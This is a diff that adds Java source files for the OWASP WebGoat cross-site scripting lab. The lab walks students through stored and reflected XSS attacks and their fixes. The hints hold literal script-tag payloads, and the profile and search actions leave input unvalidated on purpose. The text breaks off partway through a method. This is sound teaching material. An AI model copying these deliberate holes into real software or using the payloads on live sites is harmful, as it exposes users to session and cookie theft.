main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java Normal file
View File

@ -0,0 +1,306 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.ListStaff;
import org.owasp.webgoat.lessons.GoatHillsFinancial.Login;
import org.owasp.webgoat.lessons.GoatHillsFinancial.Logout;
import org.owasp.webgoat.lessons.GoatHillsFinancial.SearchStaff;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/**
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
*/
public class CrossSiteScripting extends GoatHillsFinancial
{
private final static Integer DEFAULT_RANKING = new Integer(100);
public final static String STAGE1 = "Stored XSS";
public final static String STAGE2 = "Block Stored XSS using Input Validation";
public final static String STAGE3 = "Stored XSS Revisited";
public final static String STAGE4 = "Block Stored XSS using Output Encoding";
public final static String STAGE5 = "Reflected XSS";
public final static String STAGE6 = "Block Reflected XSS";
protected void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CrossSiteScripting object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
// Stage 1
hints.add("You can put HTML tags in form input fields.");
hints
.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2
hints
.add("Many scripts rely on the use of special characters such as: &lt;");
hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints
.add("The java.util.regex package is useful for filtering string values.");
// Stage 3
hints
.add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags.");
hints
.add("An HTML entity encoder is provided in the ParameterParser class.");
// Stage 4
hints
.add("Examine content served in response to form submissions looking for data taken from the form.");
// Stage 5
hints
.add("Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");");
return hints;
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{
String stage = getStage(s);
if (STAGE1.equals(stage))
{
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>"
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
+ "Verify that 'Jerry' is affected by the attack.";
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Block Stored XSS using Input Validation.<br>"
+ "Implement a fix to block the stored XSS before it can be written to the database. "
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack.";
}
else if (STAGE3.equals(stage))
{
instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack.<br>"
+ "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. "
+ "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place.";
}
else if (STAGE4.equals(stage))
{
instructions = "Stage 4: Block Stored XSS using Output Encoding.<br>"
+ "Implement a fix to block XSS after it is read from the database. "
+ "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack.";
}
else if (STAGE5.equals(stage))
{
instructions = "Stage 5: Execute a Reflected XSS attack.<br>"
+ "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. "
+ "Verify that another employee using the link is affected by the attack.";
}
else if (STAGE6.equals(stage))
{
instructions = "Stage 6: Block Reflected XSS using Input Validation.<br>"
+ "Implement a fix to block this reflected XSS attack. "
+ "Repeat step 5. Verify that the attack URL is no longer effective.";
}
}
return instructions;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6};
return new String[] {STAGE1, STAGE3, STAGE5};
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
}
if (requestedActionName != null)
{
try
{
LessonAction action = getAction(requestedActionName);
if (action != null)
{
if (!action.requiresAuthentication()
|| action.isAuthenticated(s))
{
action.handleRequest(s);
//setCurrentAction(s, action.getNextPage(s));
}
}
else
{
setCurrentAction(s, ERROR_ACTION);
}
}
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
}
// All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer());
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CrossSiteScripting object
*
* @return The title value
*/
public String getTitle()
{
return "LAB: Cross Site Scripting";
}
public String htmlEncode(WebSession s, String text)
{
if (STAGE4.equals(getStage(s)) &&
text.indexOf("<script>") > -1 && text.indexOf("alert") > -1 && text.indexOf("</script>") > -1)
{
setStageComplete(s, STAGE4);
s.setMessage( "Welcome to stage 5 -- exploiting the data layer" );
}
return HtmlEncoder.encode(text);
}
}

195
main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/EditProfile.java Normal file
View File

@ -0,0 +1,195 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class EditProfile extends DefaultLessonAction
{
public EditProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter(
CrossSiteScripting.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
return CrossSiteScripting.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = ?";
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = ?";
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
}

256
main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/FindProfile.java Normal file
View File

@ -0,0 +1,256 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class FindProfile extends DefaultLessonAction
{
private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.USER_ID);
String searchName = null;
try
{
searchName = getRequestParameter(s,
CrossSiteScripting.SEARCHNAME);
Employee employee = null;
employee = findEmployeeProfile(s, userId, searchName);
if (employee == null)
{
setSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
"Employee " + searchName + " not found.");
}
}
catch (ValidationException e)
{
if (CrossSiteScripting.STAGE6.equals(getStage(s)))
{
setStageComplete(s, CrossSiteScripting.STAGE6);
}
throw e;
}
if (CrossSiteScripting.STAGE5.equals(getStage(s)))
{
if (searchName.indexOf("<script>") > -1
&& searchName.indexOf("alert") > -1
&& searchName.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE5);
}
}
// Execute the chained Action if the employee was found.
if (foundEmployee(s))
{
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
}
else
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
String page = CrossSiteScripting.SEARCHSTAFF_ACTION;
if (foundEmployee(s))
page = CrossSiteScripting.VIEWPROFILE_ACTION;
return page;
}
protected String getRequestParameter(WebSession s, String name)
throws ParameterNotFoundException, ValidationException
{
return s.getParser().getRawParameter(name);
}
protected String getRequestParameter_BACKUP(WebSession s, String name)
throws ParameterNotFoundException, ValidationException
{
return s.getParser().getRawParameter(name);
}
public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?";
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery();
// Just use the first hit.
if (answer_results.next())
{
int id = answer_results.getInt("userid");
// Note: Do NOT get the password field.
profile = new Employee(id, answer_results
.getString("first_name"), answer_results
.getString("last_name"), answer_results
.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/
setRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(id));
}
}
catch (SQLException sqle)
{
s.setMessage("Error finding employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error finding employee profile");
e.printStackTrace();
}
return profile;
}
private boolean foundEmployee(WebSession s)
{
boolean found = false;
try
{
getIntRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID);
found = true;
}
catch (ParameterNotFoundException e)
{}
return found;
}
protected String validate(final String parameter, final Pattern pattern)
throws ValidationException
{
Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches())
throw new ValidationException();
return parameter;
}
protected static Map<String, Pattern> patterns = new HashMap<String, Pattern>();
static
{
patterns.put(CrossSiteScripting.SEARCHNAME, Pattern
.compile("[a-zA-Z ]{0,20}"));
}
}

436
main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/UpdateProfile.java Normal file
View File

@ -0,0 +1,436 @@
package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.PreparedStatement;
import java.sql.Statement;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.ParameterParser;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class UpdateProfile extends DefaultLessonAction
{
private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.USER_ID);
int subjectId = s.getParser().getIntParameter(
CrossSiteScripting.EMPLOYEE_ID, 0);
Employee employee = null;
try
{
employee = parseEmployeeProfile(subjectId, s);
}
catch (ValidationException e)
{
if (CrossSiteScripting.STAGE2.equals(getStage(s)))
{
setStageComplete(s, CrossSiteScripting.STAGE2);
}
throw e;
}
if (subjectId > 0)
{
this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId));
}
else
this.createEmployeeProfile(s, userId, employee);
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
throw new UnauthenticatedException();
}
protected Employee parseEmployeeProfile(int subjectId, WebSession s)
throws ParameterNotFoundException, ValidationException
{
// The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
// is the better solution.
HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(CrossSiteScripting.SSN);
String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request
.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request
.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request
.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request
.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request
.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn,
title, phone, address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}
protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s)
throws ParameterNotFoundException, ValidationException
{
// The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component
// is the better solution.
HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(CrossSiteScripting.SSN);
String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request
.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request
.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request
.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request
.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request
.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request
.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn,
title, phone, address1, address2, manager, startDate, salary,
ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription);
return employee;
}
protected Employee doParseEmployeeProfile(int subjectId,
ParameterParser parser) throws ParameterNotFoundException,
ValidationException
{
// Fix this method using the org.owasp.webgoat.session.ParameterParser class
return null;
}
public String getNextPage(WebSession s)
{
return CrossSiteScripting.VIEWPROFILE_ACTION;
}
public void changeEmployeeProfile(WebSession s, int userId, int subjectId,
Employee employee) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectId, Employee employee) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;";
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId);
ps.executeUpdate(query);
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{
try
{
// FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query);
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void createEmployeeProfile_BACKUP(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{
try
{
// FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query);
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
/**
* Validates that the given parameter value matches the given regular expression pattern.
*
* @param parameter
* @param pattern
* @return
* @throws ValidationException
*/
protected String validate(final String parameter, final Pattern pattern)
throws ValidationException
{
Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches())
throw new ValidationException();
return parameter;
}
private int getNextUID(WebSession s)
{
int uid = -1;
try
{
